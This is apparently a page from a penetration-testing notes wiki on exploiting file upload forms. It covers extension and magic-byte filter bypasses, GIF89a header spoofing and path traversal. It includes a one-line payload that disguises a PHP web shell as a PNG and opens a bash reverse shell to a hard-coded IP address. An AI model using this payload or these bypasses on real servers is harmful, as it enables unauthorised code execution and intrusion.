Ctrlk
For the complete documentation index, see llms.txt. This page is also available as Markdown.

File upload

Upload forms that allow to upload files are interesting to investigate.

Steps to find vulnerable upload form

  1. Find the webserver language

    1. PHP, Python, etc

  2. Check for filters on the form

    1. Allowed to upload any file?

    2. Only checks file extension?

  3. Bypass filter

    1. Change magic number of file using hexeditor https://gist.github.com/leommoore/f9e57ba2aa4bf197ebc5

    2. Change file name and add file extension (example.jpg.php)

Examples

Bypass file extension filters:

Add pixel to reverse shell to make it look like a image:

echo -e $'\x89\x50\x4e\x47\x0d\x0a\x1a\n<?php echo system("bash -c 'bash -i >& /dev/tcp/10.9.159.250/443 0>&1'");' > shell.png.php2

GIF89a; header

GIF89a is a GIF file header. If uploaded content is being scanned, sometimes the check can be fooled by putting this header item at the top of shellcode:

Bypass upload filters

LogoFile upload bypass | Hacker's Grimoirevulp3cula.gitbook.io

File upload and Path traversal

Sometimes the server is configured to prevent execution of user-supplied files. We can maybe bypass the location to upload somewhere else using path traversal:

Response:

Now go to the upper directory of avatars, maybe something like /files and /files/exploit.php.

Bypass with Polyglot

PreviousFI (File Inclusion)NextOAuth

Last updated